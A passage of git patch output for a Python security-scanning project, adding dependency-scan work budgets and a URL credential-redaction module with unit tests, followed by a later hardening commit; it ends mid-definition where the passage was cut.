charge_finding_output_records(self, count: int) -> DependencyWorkExhaustion | None: + return self._charge(DependencyWorkResource.FINDING_OUTPUT_RECORDS, count) + + def reserve_source_changes(self, count: int = 1) -> DependencyWorkExhaustion | None: + """Atomically reserve semantic-change and public-finding record capacity.""" + value = _require_nonnegative_integer(count, "count") + changes = DependencyWorkResource.EMITTED_CHANGES + findings = DependencyWorkResource.FINDING_OUTPUT_RECORDS + next_changes = self._used[changes] + value + next_findings = self._used[findings] + value + if next_changes > _SCAN_LIMITS[changes]: + return DependencyWorkExhaustion(changes, next_changes, _SCAN_LIMITS[changes]) + if next_findings > _SCAN_LIMITS[findings]: + return DependencyWorkExhaustion(findings, next_findings, _SCAN_LIMITS[findings]) + self._used[changes] = next_changes + self._used[findings] = next_findings + return None + + def charge_ledger_events(self, count: int) -> DependencyWorkExhaustion | None: + """Reserve normal ledger rows without consuming the truncation slot.""" + value = _require_nonnegative_integer(count, "count") + resource = DependencyWorkResource.LEDGER_EVENTS + current = self._used[resource] + reserved = 1 if self._truncation_slot_available else 0 + observed_with_reserve = current + value + reserved + limit = _SCAN_LIMITS[resource] + if observed_with_reserve > limit: + return DependencyWorkExhaustion(resource, observed_with_reserve, limit) + self._used[resource] = current + value + return None + + def claim_reserved_truncation_event(self) -> DependencyWorkExhaustion | None: + """Claim the scan's one reserved truncation row, if physical capacity exists.""" + resource = DependencyWorkResource.LEDGER_EVENTS + current = self._used[resource] + limit = _SCAN_LIMITS[resource] + if not self._truncation_slot_available or current >= limit: + return DependencyWorkExhaustion(resource, current + 1, limit) + self._used[resource] = current + 1 + self._truncation_slot_available = False + return None + + +@dataclass(slots=True) +class DependencyFileBudget: + """Persistent local ceilings plus delegation to one shared scan budget.""" + + _root: DependencyWorkBudget + path: str + _used: dict[DependencyWorkResource, int] = field( + default_factory=lambda: dict.fromkeys(_FILE_LIMITS, 0) + ) + + def used(self, resource: DependencyWorkResource) -> int: + normalized = DependencyWorkResource(resource) + if normalized in _FILE_LIMITS: + return self._used[normalized] + return self._root.used(normalized) + + def _charge_local( + self, + resource: DependencyWorkResource, + count: int, + ) -> DependencyWorkExhaustion | None: + value = _require_nonnegative_integer(count, "count") + current = self._used[resource] + limit = _FILE_LIMITS[resource] + observed = current + value + if observed > limit: + return DependencyWorkExhaustion(resource, observed, limit) + self._used[resource] = observed + return None + + def charge_physical_bytes(self, count: int) -> DependencyWorkExhaustion | None: + return self._charge_local(DependencyWorkResource.PHYSICAL_BYTES, count) + + def charge_yaml_aliases(self, count: int) -> DependencyWorkExhaustion | None: + return self._charge_local(DependencyWorkResource.YAML_ALIASES, count) + + def observe_depth(self, depth: int) -> DependencyWorkExhaustion | None: + value = _require_nonnegative_integer(depth, "depth") + resource = DependencyWorkResource.DEPTH + limit = _FILE_LIMITS[resource] + if value > limit: + return DependencyWorkExhaustion(resource, value, limit) + self._used[resource] = max(self._used[resource], value) + return None + + def charge_config_nodes(self, count: int) -> DependencyWorkExhaustion | None: + return self._root.charge_config_nodes(count) + + def charge_retained_literal_bytes(self, count: int) -> DependencyWorkExhaustion | None: + return self._root.charge_retained_literal_bytes(count) + + def charge_source_records(self, count: int) -> DependencyWorkExhaustion | None: + return self._root.charge_source_records(count) + + def charge_emitted_changes(self, count: int) -> DependencyWorkExhaustion | None: + return self._root.charge_emitted_changes(count) + + def charge_finding_output_records(self, count: int) -> DependencyWorkExhaustion | None: + return self._root.charge_finding_output_records(count) + + def reserve_source_changes(self, count: int = 1) -> DependencyWorkExhaustion | None: + return self._root.reserve_source_changes(count) + + def charge_ledger_events(self, count: int) -> DependencyWorkExhaustion | None: + return self._root.charge_ledger_events(count) + + def claim_reserved_truncation_event(self) -> DependencyWorkExhaustion | None: + return self._root.claim_reserved_truncation_event() diff --git a/src/skillspector/url_redaction.py b/src/skillspector/url_redaction.py new file mode 100644 index 00000000..f477a74b --- /dev/null +++ b/src/skillspector/url_redaction.py @@ -0,0 +1,279 @@ +# SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +# SPDX-License-Identifier: Apache-2.0 + +"""Bounded, local-only credential redaction for dependency-source evidence.""" + +from __future__ import annotations + +import re +from collections.abc import Mapping +from dataclasses import dataclass, field +from typing import Final +from urllib.parse import unquote_plus, urlsplit, urlunsplit + +REDACTED_URL: Final = "[REDACTED_URL]" +REDACTED_REMAINDER: Final = "[REDACTED_REMAINDER]" +REDACTED_VALUE: Final = "[REDACTED_VALUE]" + +MAX_REDACTION_CHARACTERS: Final = 65_536 +MAX_REDACTION_CANDIDATES: Final = 1_024 +MAX_REDACTION_DEPTH: Final = 16 +MAX_REDACTION_NODES: Final = 10_000 + +_ALLOWED_SCHEMES: Final = frozenset( + { + "http", + "https", + "ssh", + "git", + "git+http", + "git+https", + "git+ssh", + "sparse+http", + "sparse+https", + } +) +_CREDENTIAL_WORDS: Final = frozenset( + { + "auth", + "authentication", + "authorization", + "credential", + "credentials", + "key", + "keys", + "pass", + "password", + "passwd", + "passphrase", + "secret", + "secrets", + "signature", + "signatures", + "token", + "tokens", + } +) +_CONTROL_CHARACTER = re.compile(r"[\x00-\x1f\x7f]") +_BAD_PERCENT_ESCAPE = re.compile(r"%(?![0-9A-Fa-f]{2})") +_CAMEL_BOUNDARY = re.compile(r"(?<=[a-z0-9])(?=[A-Z])") +_QUERY_WORD_SEPARATOR = re.compile(r"[^A-Za-z0-9]+") +_SCP_URL = re.compile( + r"^(?P[^@/:\\\s]+)@" + r"(?P\[[^\]\s]+\]|[^@/:\\\s]+):" + r"(?P.+)$" +) +_TEXT_CANDIDATE = re.compile( + r"(?:(?:(?:git|sparse)\+)?(?:https?|ssh|git))://[^\s<>\"']+" + r"|(?:[^@/:\\\s<>\"']+)@(?:\[[^\]\s]+\]|[^@/:\\\s<>\"']+):" + r"(?:[^\s<>\"']*/[^\s<>\"']*|[^\s<>\"']*\.git(?:[?#][^\s<>\"']*)?)", + re.IGNORECASE, +) +_TRAILING_PROSE_PUNCTUATION: Final = frozenset(".,)]}") + + +def _valid_bound(value: object) -> bool: + return type(value) is int and value >= 0 + + +def _has_ambiguous_percent_escape(value: str) -> bool: + return _BAD_PERCENT_ESCAPE.search(value) is not None + + +def _query_key_is_sensitive(raw_key: str) -> bool: + try: + decoded = unquote_plus(raw_key, encoding="utf-8", errors="strict") + except (UnicodeDecodeError, ValueError): + raise ValueError("query key is ambiguous") from None + expanded = _CAMEL_BOUNDARY.sub("_", decoded) + words = {word.casefold() for word in _QUERY_WORD_SEPARATOR.split(expanded) if word} + return bool(words & _CREDENTIAL_WORDS) + + +def _redact_query(raw_query: str) -> str: + if not raw_query: + return raw_query + redacted_parts: list[str] = [] + for raw_part in raw_query.split("&"): + raw_key, separator, _raw_value = raw_part.partition("=") + if separator and _query_key_is_sensitive(raw_key): + redacted_parts.append(f"{raw_key}=REDACTED") + else: + redacted_parts.append(raw_part) + return "&".join(redacted_parts) + + +def _redact_standard_url(value: str) -> str: + parsed = urlsplit(value) + if parsed.scheme.casefold() not in _ALLOWED_SCHEMES or not parsed.netloc: + return REDACTED_URL + authority = parsed.netloc + if authority.count("@") > 1 or "\\" in authority or any(char.isspace() for char in authority): + return REDACTED_URL + # Accessing both properties forces urllib's bracket, NFKC, and port checks. + if not parsed.hostname: + return REDACTED_URL + _ = parsed.port + + host_port = authority.rsplit("@", 1)[-1] + safe_authority = f"REDACTED@{host_port}" if "@" in authority else host_port + safe_query = _redact_query(parsed.query) + return urlunsplit((parsed.scheme, safe_authority, parsed.path, safe_query, "")) + + +def _redact_scp_url(value: str) -> str: + without_fragment = value.split("#", 1)[0] + match = _SCP_URL.fullmatch(without_fragment) + if match is None or without_fragment.count("@") != 1 or "\\" in without_fragment: + return REDACTED_URL + raw_path, query_separator, raw_query = match.group("path").partition("?") + if not raw_path: + return REDACTED_URL + safe_query = _redact_query(raw_query) if query_separator else "" + suffix = f"?{safe_query}" if query_separator else "" + return f"REDACTED@{match.group('host')}:{raw_path}{suffix}" + + +def _looks_like_scp_git(value: str) -> bool: + without_fragment = value.split("#", 1)[0] + if "@" not in without_fragment or ":" not in without_fragment: + return False + path = without_fragment.rsplit(":", 1)[-1].split("?", 1)[0] + return "/" in path or path.casefold().endswith(".git") + + +def _detach_trailing_prose_punctuation(value: str) -> tuple[str, str]: + split_at = len(value) + while split_at > 0 and value[split_at - 1] in _TRAILING_PROSE_PUNCTUATION: + split_at -= 1 + return value[:split_at], value[split_at:] + + +def redact_url(value: str, *, max_characters: int = MAX_REDACTION_CHARACTERS) -> str: + """Return one URL-like value with credentials removed, or a fixed placeholder.""" + if not isinstance(value, str) or not _valid_bound(max_characters): + return REDACTED_URL + if len(value) > max_characters: + return REDACTED_URL + suspicious = "://" in value or _looks_like_scp_git(value) + if not suspicious: + return value + if _CONTROL_CHARACTER.search(value) or _has_ambiguous_percent_escape(value): + return REDACTED_URL + try: + if "://" in value: + return _redact_standard_url(value) + return _redact_scp_url(value) + except (UnicodeError, ValueError): + return REDACTED_URL + except Exception: + # Evidence redaction is a security boundary: unexpected parser errors fail closed. + return REDACTED_URL + + +def redact_text( + value: str, + *, + max_characters: int = MAX_REDACTION_CHARACTERS, + max_candidates: int = MAX_REDACTION_CANDIDATES, +) -> str: + """Redact bounded URL candidates while preserving ordinary text exactly.""" + if not isinstance(value, str): + return REDACTED_REMAINDER + if not _valid_bound(max_characters) or not _valid_bound(max_candidates): + return REDACTED_REMAINDER + + bounded = value[:max_characters] + was_truncated = len(value) > max_characters + result: list[str] = [] + cursor = 0 + candidates = 0 + try: + for match in _TEXT_CANDIDATE.finditer(bounded): + if candidates >= max_candidates: + result.append(bounded[cursor : match.start()]) + result.append(REDACTED_REMAINDER) + return "".join(result) + result.append(bounded[cursor : match.start()]) + candidate, punctuation = _detach_trailing_prose_punctuation(match.group(0)) + result.append(redact_url(candidate, max_characters=max_characters)) + result.append(punctuation) + cursor = match.end() + candidates += 1 + except Exception: + result.append(REDACTED_REMAINDER) + return "".join(result) + + result.append(bounded[cursor:]) + if was_truncated: + result.append(REDACTED_REMAINDER) + return "".join(result) + + +@dataclass(slots=True) +class _ValueWalk: + remaining_nodes: int + max_depth: int + max_text_characters: int + max_text_candidates: int + active: set[int] = field(default_factory=set) + + def visit(self, value: object, depth: int) -> object: + if depth > self.max_depth or self.remaining_nodes <= 0: + return REDACTED_VALUE + self.remaining_nodes -= 1 + + if isinstance(value, str): + return redact_text( + value, + max_characters=self.max_text_characters, + max_candidates=self.max_text_candidates, + ) + if value is None or isinstance(value, (bool, int, float)): + return value + if isinstance(value, (Mapping, list, tuple)): + identity = id(value) + if identity in self.active: + return REDACTED_VALUE + self.active.add(identity) + try: + if isinstance(value, Mapping): + result: dict[object, object] = {} + for key, nested in value.items(): + if self.remaining_nodes <= 0: + result[key] = REDACTED_VALUE + else: + result[key] = self.visit(nested, depth + 1) + return result + result_items: list[object] = [] + for nested in value: + if self.remaining_nodes <= 0: + return REDACTED_VALUE + result_items.append(self.visit(nested, depth + 1)) + return tuple(result_items) if isinstance(value, tuple) else result_items + finally: + self.active.remove(identity) + return REDACTED_VALUE + + +def redact_value( + value: object, + *, + max_depth: int = MAX_REDACTION_DEPTH, + max_nodes: int = MAX_REDACTION_NODES, + max_text_characters: int = MAX_REDACTION_CHARACTERS, + max_text_candidates: int = MAX_REDACTION_CANDIDATES, +) -> object: + """Recursively sanitize evidence values under explicit depth and node ceilings.""" + bounds = (max_depth, max_nodes, max_text_characters, max_text_candidates) + if not all(_valid_bound(bound) for bound in bounds): + return REDACTED_VALUE + try: + return _ValueWalk( + remaining_nodes=max_nodes, + max_depth=max_depth, + max_text_characters=max_text_characters, + max_text_candidates=max_text_candidates, + ).visit(value, 0) + except Exception: + return REDACTED_VALUE diff --git a/tests/unit/test_dependency_source_types.py b/tests/unit/test_dependency_source_types.py index d78d7b84..e35a74b8 100644 --- a/tests/unit/test_dependency_source_types.py +++ b/tests/unit/test_dependency_source_types.py @@ -425,6 +425,44 @@ def test_failed_scan_charge_does_not_mutate_target_or_related_counters() -> None assert {resource: budget.used(resource) for resource in before} == before +def test_source_change_reservation_charges_change_and_finding_capacity_atomically() -> None: + api = _api() + budget = api.DependencyWorkBudget() + assert budget.charge_emitted_changes(9_999) is None + assert budget.charge_finding_output_records(9_999) is None + + assert budget.reserve_source_changes() is None + + assert budget.used(api.DependencyWorkResource.EMITTED_CHANGES) == 10_000 + assert budget.used(api.DependencyWorkResource.FINDING_OUTPUT_RECORDS) == 10_000 + + +def test_source_change_reservation_mutates_neither_counter_when_finding_capacity_is_full() -> None: + api = _api() + budget = api.DependencyWorkBudget() + assert budget.charge_emitted_changes(9_999) is None + assert budget.charge_finding_output_records(10_000) is None + + exhaustion = budget.reserve_source_changes() + + assert exhaustion.resource is api.DependencyWorkResource.FINDING_OUTPUT_RECORDS + assert budget.used(api.DependencyWorkResource.EMITTED_CHANGES) == 9_999 + assert budget.used(api.DependencyWorkResource.FINDING_OUTPUT_RECORDS) == 10_000 + + +def test_source_change_reservation_mutates_neither_counter_when_change_capacity_is_full() -> None: + api = _api() + budget = api.DependencyWorkBudget() + assert budget.charge_emitted_changes(10_000) is None + assert budget.charge_finding_output_records(9_999) is None + + exhaustion = budget.reserve_source_changes() + + assert exhaustion.resource is api.DependencyWorkResource.EMITTED_CHANGES + assert budget.used(api.DependencyWorkResource.EMITTED_CHANGES) == 10_000 + assert budget.used(api.DependencyWorkResource.FINDING_OUTPUT_RECORDS) == 9_999 + + def test_finding_capacity_starts_from_existing_public_output_record_footprint() -> None: api = _api() existing = Finding( @@ -487,6 +525,23 @@ def test_full_existing_ledger_has_no_fabricated_truncation_slot() -> None: assert budget.used(api.DependencyWorkResource.LEDGER_EVENTS) == 10_000 +@pytest.mark.parametrize( + ("finding_records", "ledger_events"), + [(10_001, 0), (0, 10_001)], +) +def test_preexisting_output_counts_above_global_ceiling_are_rejected( + finding_records: int, + ledger_events: int, +) -> None: + api = _api() + + with pytest.raises(ValueError): + api.DependencyWorkBudget( + existing_finding_output_records=finding_records, + existing_ledger_events=ledger_events, + ) + + @pytest.mark.parametrize( "method_name", [ diff --git a/tests/unit/test_url_redaction.py b/tests/unit/test_url_redaction.py index c63e24a6..f44c60c1 100644 --- a/tests/unit/test_url_redaction.py +++ b/tests/unit/test_url_redaction.py @@ -93,6 +93,47 @@ def test_ssh_git_and_scp_like_forms_remove_userinfo_fragments_and_secret_queries assert "REDACTED" in redacted +@pytest.mark.parametrize( + ("raw", "expected"), + [ + ( + "https://user:ipv6-secret@[2001:db8::1]:8443/private", + "https://REDACTED@[2001:db8::1]:8443/private", + ), + ( + "http://user:http-secret@packages.example.invalid:8080/simple", + "http://REDACTED@packages.example.invalid:8080/simple", + ), + ( + "git://user:git-scheme-secret@git.example.invalid/org/repo.git", + "git://REDACTED@git.example.invalid/org/repo.git", + ), + ], +) +def test_valid_ipv6_http_and_git_urls_preserve_safe_authority_and_path( + raw: str, + expected: str, +) -> None: + api = _api() + + assert api.redact_url(raw) == expected + + +def test_cargo_sparse_url_preserves_safe_scheme_host_and_path() -> None: + api = _api() + raw = "sparse+https://user:sparse-secret@packages.example.invalid/index/" + + assert api.redact_url(raw) == ("sparse+https://REDACTED@packages.example.invalid/index/") + + +def test_email_followed_by_colon_prose_is_not_treated_as_scp_git_syntax() -> None: + api = _api() + text = "Contact dev@example.invalid:today or dev@example.invalid: today." + + assert api.redact_url("dev@example.invalid:today") == "dev@example.invalid:today" + assert api.redact_text(text) == text + + @pytest.mark.parametrize( "raw", [ @@ -174,6 +215,18 @@ def test_embedded_urls_are_redacted_without_changing_surrounding_free_text() -> assert sentinel not in redacted +def test_embedded_url_fragment_is_removed_without_swallowing_trailing_prose_punctuation() -> None: + api = _api() + text = ( + "Fetch (https://user:punctuation-secret@packages.example.invalid/private" + "#fragment-secret), then continue." + ) + + assert api.redact_text(text) == ( + "Fetch (https://REDACTED@packages.example.invalid/private), then continue." + ) + + def test_ordinary_no_match_text_is_byte_for_byte_unchanged() -> None: api = _api() text = "Keep punctuation, Unicode ☃, paths ./src, and email dev@example.invalid exactly." @@ -257,7 +310,7 @@ def test_nested_redaction_fails_closed_at_depth_and_item_bounds() -> None: assert depth_secret not in repr(depth_bounded) assert item_secret not in repr(item_bounded) assert api.REDACTED_VALUE in repr(depth_bounded) - assert api.REDACTED_VALUE in repr(item_bounded) + assert item_bounded == {"first": "safe", "second": api.REDACTED_VALUE} def test_recursive_value_exact_depth_and_node_bounds_succeed_but_one_over_is_redacted() -> None: From 18a16005c27010a28ea0bda567ef1768999c939d Mon Sep 17 00:00:00 2001 From: Nir Paz Date: Fri, 21 Aug 2026 17:06:44 -0700 Subject: [PATCH 08/30] fix(sc10): harden dependency source contracts Signed-off-by: Nir Paz --- src/skillspector/dependency_source_types.py | 29 +- src/skillspector/url_redaction.py | 325 ++++++++++++++------ tests/unit/test_dependency_source_types.py | 118 ++++++- tests/unit/test_url_redaction.py | 261 +++++++++++++++- 4 files changed, 629 insertions(+), 104 deletions(-) diff --git a/src/skillspector/dependency_source_types.py b/src/skillspector/dependency_source_types.py index d1f63400..9abbb02a 100644 --- a/src/skillspector/dependency_source_types.py +++ b/src/skillspector/dependency_source_types.py @@ -22,6 +22,7 @@ MAX_DEPENDENCY_FILE_BYTES: Final = 1_000_000 MAX_DEPENDENCY_YAML_ALIASES: Final = 256 MAX_DEPENDENCY_CONFIG_DEPTH: Final = 64 +MAX_DEPENDENCY_DESTINATION_CHARACTERS: Final = 16_384 class DestinationStatus(StrEnum): @@ -52,6 +53,14 @@ class DependencyWorkResource(StrEnum): DEPTH = "depth" +class LedgerTruncationClaimStatus(StrEnum): + """Outcome of claiming the scan's single reserved truncation row.""" + + CLAIMED = "claimed" + ALREADY_CLAIMED = "already_claimed" + NO_CAPACITY = "no_capacity" + + def _require_nonnegative_integer(value: object, name: str) -> int: if type(value) is not int or value < 0: raise ValueError(f"{name} must be a non-negative integer") @@ -77,6 +86,8 @@ def _normalize_relative_posix_path(path: object) -> str: def _require_nonempty_semantic(value: object, name: str) -> str: if not isinstance(value, str) or not value.strip() or len(value) > 256: raise ValueError(f"{name} must be a bounded non-empty semantic value") + if any(ord(character) < 32 or ord(character) == 127 for character in value): + raise ValueError(f"{name} must not contain control characters") if redact_text(value) != value: raise ValueError(f"{name} must not contain credential-bearing text") return value @@ -132,7 +143,9 @@ def __post_init__(self) -> None: return if ( not isinstance(self.destination, str) - or not self.destination + or not self.destination.strip() + or len(self.destination) > MAX_DEPENDENCY_DESTINATION_CHARACTERS + or any(ord(character) < 32 or ord(character) == 127 for character in self.destination) or self.destination == "unresolved" or redact_url(self.destination) != self.destination or redact_text(self.destination) != self.destination @@ -281,6 +294,8 @@ def __post_init__(self) -> None: object.__setattr__(self, "resource", resource) _require_nonnegative_integer(self.observed, "observed") _require_nonnegative_integer(self.limit, "limit") + if self.observed <= self.limit: + raise ValueError("resource exhaustion requires an observation above its limit") def ledger_metrics(self) -> dict[str, int]: """Project the resource count into compatible inspection-ledger metrics.""" @@ -339,6 +354,7 @@ def __init__( self._used[DependencyWorkResource.FINDING_OUTPUT_RECORDS] = existing_findings self._used[DependencyWorkResource.LEDGER_EVENTS] = existing_ledger self._truncation_slot_available = existing_ledger < MAX_DEPENDENCY_LEDGER_EVENTS + self._truncation_slot_claimed = False self._file_budgets: dict[str, DependencyFileBudget] = {} @classmethod @@ -432,16 +448,19 @@ def charge_ledger_events(self, count: int) -> DependencyWorkExhaustion | None: self._used[resource] = current + value return None - def claim_reserved_truncation_event(self) -> DependencyWorkExhaustion | None: + def claim_reserved_truncation_event(self) -> LedgerTruncationClaimStatus: """Claim the scan's one reserved truncation row, if physical capacity exists.""" resource = DependencyWorkResource.LEDGER_EVENTS current = self._used[resource] limit = _SCAN_LIMITS[resource] + if self._truncation_slot_claimed: + return LedgerTruncationClaimStatus.ALREADY_CLAIMED if not self._truncation_slot_available or current >= limit: - return DependencyWorkExhaustion(resource, current + 1, limit) + return LedgerTruncationClaimStatus.NO_CAPACITY self._used[resource] = current + 1 self._truncation_slot_available = False - return None + self._truncation_slot_claimed = True + return LedgerTruncationClaimStatus.CLAIMED @dataclass(slots=True) @@ -510,5 +529,5 @@ def reserve_source_changes(self, count: int = 1) -> DependencyWorkExhaustion | N def charge_ledger_events(self, count: int) -> DependencyWorkExhaustion | None: return self._root.charge_ledger_events(count) - def claim_reserved_truncation_event(self) -> DependencyWorkExhaustion | None: + def claim_reserved_truncation_event(self) -> LedgerTruncationClaimStatus: return self._root.claim_reserved_truncation_event() diff --git a/src/skillspector/url_redaction.py b/src/skillspector/url_redaction.py index f477a74b..491494b0 100644 --- a/src/skillspector/url_redaction.py +++ b/src/skillspector/url_redaction.py @@ -8,31 +8,22 @@ import re from collections.abc import Mapping from dataclasses import dataclass, field +from io import StringIO +from ipaddress import IPv6Address from typing import Final -from urllib.parse import unquote_plus, urlsplit, urlunsplit +from urllib.parse import SplitResult, unquote_plus, urlsplit REDACTED_URL: Final = "[REDACTED_URL]" REDACTED_REMAINDER: Final = "[REDACTED_REMAINDER]" REDACTED_VALUE: Final = "[REDACTED_VALUE]" -MAX_REDACTION_CHARACTERS: Final = 65_536 +# Match the repository's bounded visible-artifact ceiling so provider-bound +# content is not silently shortened before the caller can account for it. +MAX_REDACTION_CHARACTERS: Final = 16 * 1024 * 1024 MAX_REDACTION_CANDIDATES: Final = 1_024 MAX_REDACTION_DEPTH: Final = 16 MAX_REDACTION_NODES: Final = 10_000 -_ALLOWED_SCHEMES: Final = frozenset( - { - "http", - "https", - "ssh", - "git", - "git+http", - "git+https", - "git+ssh", - "sparse+http", - "sparse+https", - } -) _CREDENTIAL_WORDS: Final = frozenset( { "auth", @@ -48,28 +39,59 @@ "passphrase", "secret", "secrets", + "sig", "signature", "signatures", "token", "tokens", } ) +_COMPACT_CREDENTIAL_KEYS: Final = frozenset( + { + "accesstoken", + "apikey", + "authtoken", + "bearertoken", + "clientsecret", + "clienttoken", + "idtoken", + "privatekey", + "refreshtoken", + "secretkey", + "sessionkey", + "signingkey", + } +) _CONTROL_CHARACTER = re.compile(r"[\x00-\x1f\x7f]") +_UNSAFE_URI_CHARACTER = re.compile(r'[<>"`]') _BAD_PERCENT_ESCAPE = re.compile(r"%(?![0-9A-Fa-f]{2})") +_ENCODED_UNSAFE_AUTHORITY_CHARACTER = re.compile( + r"%(?:0[0-9A-Fa-f]|1[0-9A-Fa-f]|20|23|2[fF]|3[aAfF]|40|5[bBcCdD]|7[fF])" +) _CAMEL_BOUNDARY = re.compile(r"(?<=[a-z0-9])(?=[A-Z])") _QUERY_WORD_SEPARATOR = re.compile(r"[^A-Za-z0-9]+") +_SCHEME = re.compile(r"^[A-Za-z][A-Za-z0-9+.-]*$") _SCP_URL = re.compile( r"^(?P[^@/:\\\s]+)@" r"(?P\[[^\]\s]+\]|[^@/:\\\s]+):" r"(?P.+)$" ) -_TEXT_CANDIDATE = re.compile( - r"(?:(?:(?:git|sparse)\+)?(?:https?|ssh|git))://[^\s<>\"']+" - r"|(?:[^@/:\\\s<>\"']+)@(?:\[[^\]\s]+\]|[^@/:\\\s<>\"']+):" - r"(?:[^\s<>\"']*/[^\s<>\"']*|[^\s<>\"']*\.git(?:[?#][^\s<>\"']*)?)", - re.IGNORECASE, +_CANDIDATE_START = re.compile( + r"(?P(?(?\"`]+@" + r"(?:\[[^\]\s]+\]|[^@/:\\\s<>\"`]+):)", ) -_TRAILING_PROSE_PUNCTUATION: Final = frozenset(".,)]}") +_PROSE_OPENERS: Final = frozenset("([{<\"'`") +_PAIRED_CLOSERS: Final = { + ")": "(", + "]": "[", + "}": "{", + ">": "<", + '"': '"', + "'": "'", + "`": "`", +} +_SENTENCE_PUNCTUATION: Final = frozenset(".,") def _valid_bound(value: object) -> bool: @@ -87,44 +109,121 @@ def _query_key_is_sensitive(raw_key: str) -> bool: raise ValueError("query key is ambiguous") from None expanded = _CAMEL_BOUNDARY.sub("_", decoded) words = {word.casefold() for word in _QUERY_WORD_SEPARATOR.split(expanded) if word} - return bool(words & _CREDENTIAL_WORDS) + compact = "".join(character for character in decoded if character.isalnum()).casefold() + return bool(words & _CREDENTIAL_WORDS) or compact in _COMPACT_CREDENTIAL_KEYS def _redact_query(raw_query: str) -> str: if not raw_query: return raw_query - redacted_parts: list[str] = [] - for raw_part in raw_query.split("&"): + output = StringIO() + cursor = 0 + for delimiter in re.finditer(r"[&;]", raw_query): + raw_part = raw_query[cursor : delimiter.start()] raw_key, separator, _raw_value = raw_part.partition("=") if separator and _query_key_is_sensitive(raw_key): - redacted_parts.append(f"{raw_key}=REDACTED") - else: - redacted_parts.append(raw_part) - return "&".join(redacted_parts) + raw_part = f"{raw_key}=REDACTED" + output.write(raw_part) + output.write(delimiter.group()) + cursor = delimiter.end() + raw_part = raw_query[cursor:] + raw_key, separator, _raw_value = raw_part.partition("=") + output.write( + f"{raw_key}=REDACTED" if separator and _query_key_is_sensitive(raw_key) else raw_part + ) + return output.getvalue() + + +def _valid_bracketed_ipv6(host: str) -> bool: + if not (host.startswith("[") and host.endswith("]")): + return False + try: + IPv6Address(host[1:-1]) + except ValueError: + return False + return True + + +def _valid_host_port(host_port: str) -> bool: + if not host_port or _ENCODED_UNSAFE_AUTHORITY_CHARACTER.search(host_port): + return False + if host_port.startswith("["): + close = host_port.find("]") + if close < 0 or host_port.find("]", close + 1) >= 0: + return False + if not _valid_bracketed_ipv6(host_port[: close + 1]): + return False + suffix = host_port[close + 1 :] + if not suffix: + return True + return suffix.startswith(":") and len(suffix) > 1 and suffix[1:].isdigit() + if "[" in host_port or "]" in host_port or host_port.count(":") > 1: + return False + host, separator, port = host_port.partition(":") + if not host: + return False + return not separator or bool(port and port.isdigit()) + + +def _validated_safe_authority(parsed: SplitResult, authority: str) -> str | None: + if ( + not authority + or authority.count("@") > 1 + or "\\" in authority + or _CONTROL_CHARACTER.search(authority) + or any(character.isspace() for character in authority) + or _ENCODED_UNSAFE_AUTHORITY_CHARACTER.search(authority) + ): + return None + host_port = authority.rsplit("@", 1)[-1] + if not _valid_host_port(host_port): + return None + try: + hostname = parsed.hostname + _ = parsed.port + except (UnicodeError, ValueError): + return None + if not hostname: + return None + return f"REDACTED@{host_port}" if "@" in authority else host_port def _redact_standard_url(value: str) -> str: parsed = urlsplit(value) - if parsed.scheme.casefold() not in _ALLOWED_SCHEMES or not parsed.netloc: - return REDACTED_URL - authority = parsed.netloc - if authority.count("@") > 1 or "\\" in authority or any(char.isspace() for char in authority): + if not _SCHEME.fullmatch(parsed.scheme) or not parsed.netloc: return REDACTED_URL - # Accessing both properties forces urllib's bracket, NFKC, and port checks. - if not parsed.hostname: + safe_authority = _validated_safe_authority(parsed, parsed.netloc) + if safe_authority is None: return REDACTED_URL - _ = parsed.port - - host_port = authority.rsplit("@", 1)[-1] - safe_authority = f"REDACTED@{host_port}" if "@" in authority else host_port safe_query = _redact_query(parsed.query) - return urlunsplit((parsed.scheme, safe_authority, parsed.path, safe_query, "")) + without_fragment = value.split("#", 1)[0] + had_query_delimiter = "?" in without_fragment + suffix = f"?{safe_query}" if had_query_delimiter else "" + return f"{parsed.scheme}://{safe_authority}{parsed.path}{suffix}" + + +def _valid_scp_host(host: str) -> bool: + if ( + not host + or "\\" in host + or _CONTROL_CHARACTER.search(host) + or any(character.isspace() for character in host) + or _ENCODED_UNSAFE_AUTHORITY_CHARACTER.search(host) + ): + return False + if host.startswith("[") or host.endswith("]"): + return _valid_bracketed_ipv6(host) + return "[" not in host and "]" not in host and ":" not in host def _redact_scp_url(value: str) -> str: without_fragment = value.split("#", 1)[0] match = _SCP_URL.fullmatch(without_fragment) - if match is None or without_fragment.count("@") != 1 or "\\" in without_fragment: + if ( + match is None + or without_fragment.count("@") != 1 + or not _valid_scp_host(match.group("host")) + ): return REDACTED_URL raw_path, query_separator, raw_query = match.group("path").partition("?") if not raw_path: @@ -142,11 +241,21 @@ def _looks_like_scp_git(value: str) -> bool: return "/" in path or path.casefold().endswith(".git") -def _detach_trailing_prose_punctuation(value: str) -> tuple[str, str]: +def _detach_trailing_prose_punctuation( + value: str, + opener: str | None, +) -> tuple[str, str]: split_at = len(value) - while split_at > 0 and value[split_at - 1] in _TRAILING_PROSE_PUNCTUATION: + suffix = "" + while split_at > 0 and value[split_at - 1] in _SENTENCE_PUNCTUATION: split_at -= 1 - return value[:split_at], value[split_at:] + suffix = value[split_at] + suffix + if split_at > 0 and opener is not None: + closer = value[split_at - 1] + if _PAIRED_CLOSERS.get(closer) == opener: + split_at -= 1 + suffix = closer + suffix + return value[:split_at], suffix def redact_url(value: str, *, max_characters: int = MAX_REDACTION_CHARACTERS) -> str: @@ -155,13 +264,18 @@ def redact_url(value: str, *, max_characters: int = MAX_REDACTION_CHARACTERS) -> return REDACTED_URL if len(value) > max_characters: return REDACTED_URL - suspicious = "://" in value or _looks_like_scp_git(value) + is_hierarchical_uri = "://" in value + suspicious = is_hierarchical_uri or _looks_like_scp_git(value) if not suspicious: return value - if _CONTROL_CHARACTER.search(value) or _has_ambiguous_percent_escape(value): + if ( + _CONTROL_CHARACTER.search(value) + or _UNSAFE_URI_CHARACTER.search(value) + or _has_ambiguous_percent_escape(value) + ): return REDACTED_URL try: - if "://" in value: + if is_hierarchical_uri: return _redact_standard_url(value) return _redact_scp_url(value) except (UnicodeError, ValueError): @@ -171,6 +285,53 @@ def redact_url(value: str, *, max_characters: int = MAX_REDACTION_CHARACTERS) -> return REDACTED_URL +@dataclass(frozen=True, slots=True) +class _TextRedactionResult: + value: str + candidates: int + complete: bool + + +def _candidate_end(value: str, start: int) -> int: + index = start + while index < len(value) and not value[index].isspace(): + index += 1 + return index + + +def 